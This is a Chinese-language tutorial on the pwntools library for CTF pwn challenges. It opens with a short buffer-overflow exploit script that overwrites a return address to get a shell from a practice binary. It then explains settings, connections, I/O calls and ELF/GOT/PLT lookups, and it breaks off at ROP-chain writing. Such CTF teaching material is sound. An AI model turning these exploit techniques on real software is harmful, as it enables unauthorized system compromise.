1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context(log_level='debug',arch='i386', os='linux') pwnfile= './question_4_3_x86' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x14
gdb.attach(io) pause()
return_addr = 0x0804919B sh_addr = 0x804C03A
payload = b'a'* padding + p32(return_addr) + p32(sh_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
|
导入pwn库
- 在使用Python打pwn题,首先需要引入pwn库
1 2
| from pwn import * import pwn
|
设定架构
- 不同的pwn是偏底层,偏向硬件,不同硬件的会存在一些差异,这个时候就需要,在所编写的程序中设定一下架构,之后的指令、数据的形式就能与所使用架构统一
设定处理器架构
- 格式
context.arch = 'amd64'
- 下面是一些常用架构
- amd64或x86_64:表示64位x86架构,现代大多数桌面和服务器系统使用的架构
- i386或x86:表示32位x86架构。虽然较旧,但在某些嵌入式系统和旧式硬件上仍然常见
- arm或arrch64:表示ARM架构,常见于移动设备和其他嵌入式系统
- mips:表示MIPS架构,在某些路由器和网络设备上使用
- mips64:表示64位MIPS架构
1 2
| from pwn import * context.arch = 'amd64'
|
设定操作系统
-
格式 context.os = 'Linux'
-
常见的操作系统
- linux:pwn的入门一开始一般都是linux的pwn
- windows:Windows常见操作系统,作为进阶的pwn
- freebsd:表示目标操作系统是 FreeBSD。虽然不像 Linux 那么常见,但 FreeBSD 也是一个流行的开源 UNIX-like 操作系统。
- netbsd:表示目标操作系统是 NetBSD。NetBSD 也是一个开源的 UNIX-like 操作系统。
- openbsd:表示目标操作系统是 OpenBSD。OpenBSD 是一个注重安全性和隐私的 UNIX-like 操作系统。
- 剩下的看官方文档
1 2
| from pwn import * context.arch = 'amd64'
|
设定大小端序
1 2 3 4 5
| from pwn import *
context.endian = 'little'
context.endian = 'big'
|
设定日志记录的级别
- 格式
context.log_level = 'debug'
- 日志记录用于追踪和记录软件程序运行时的活动。包括用户交互、系统事件、错误和警告、调试信息、性能数据等。
- 日志记录的级别
- critical:仅记录严重错误消息,这通常是程序无法继续运行的情况
- error:记录错误信息,表示出现了某些问题,但程序可能仍然能够继续运行
- warning:记录可能需要注意的潜在问题或不正常的情况
- debug:记录详细的调试信息,包括内部调试状态和函数调用等
1 2 3 4
| context.log_level = 'debug' context.log_level = 'critical' context.log_level = 'error' context.log_level = 'warning'
|
连接题目
- 在使用Python打pwn题的时候,需要与题目连接,运行题目的程序
远程连接题目
- 在CTF比赛中打pwn题都会使用靶机,这时就需要通过网络进行远程连接
1 2 3 4 5 6 7 8 9
| from pwn import *
r = remote('0.0.0.0',20445)
|
本地连接题目
- 有的时候,将题目附件下载到本地进行复现或者调试,这就需要对本地的题目进行连接
1 2 3 4 5 6
| from pwn import *
r = process('./pwn1')
|
与靶机进行交互
- 在pwn成功的时候,获取控制权,这时需要用户对远程靶机或者是本地的终端进行交互,这样才能输入
ls、cat flag
等命令
1 2 3
| from pwn import * r = remote('0.0.0.0',25875) r.interactive()
|
接收文字
- 在程序中有用户对程序的输入,也有程序对用户的输出。
- 那么要将程序的输入在自己的终端中显示,就需要接收文字
1 2 3 4 5 6 7 8 9
| from pwn import * r = remote('0.0.0.0',25875) r.recv() r.recvline() r.recvlines(num) r.recvuntil(str) clean() r.recvrepeat(timeout)
|
发送文字
- 对于pwn题,核心就是要发送所要的数据,使程序按照预期的漏洞执行
1 2 3 4 5 6
| from pwn import * r = remote('0.0.0.0',25875) r.send(payload) r.sendline(payload) r.sendlineafter('hello world',payload)
|
ELF对文件操作
对libc文件的操作
- 在pwn中有一些题目,附件上会有一个
libc.so
文件,常见的基础题型就是ret2libc
,这时就需要对 libc.so
文件进行一些操作。
1 2
| from pwn import * e = ELF('libc.so.6')
|
对ELF文件的操作
查看文件
- ELF文件是按路径加载的。
- 被加载后的ELF文件,一些与安全有关的文件属性被打印出来
1 2
| from pwn import * e = ELF('./ret2libc')
|
使用符号表
- ELF文件有几组不同的符号表可以用,每组都包含在
{name: data}
的字典中
ELF.symbols
列出所有已知的符号,包括下面的符号。优先考虑PLT条目而不是GOT条目。
1 2 3
| from pwn import * e = ELF('./ret2libc') print(e.symbols)
|
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * e = ELF('./ret2libc') print(e.symbols['stdin'])
from pwn import * e = ELF('./ret2libc') print('%#x -> stdin'%e.symbols['stdin'])
|
ELF.got
1 2 3 4
| from pwn import * e = ELF('./ret2libc') print(e.got)
|
ELF.plt
对ROP链的编写
开启动调
- 在本地调试文件的时候可以用Python启动exp,再开启gdb进行动态调试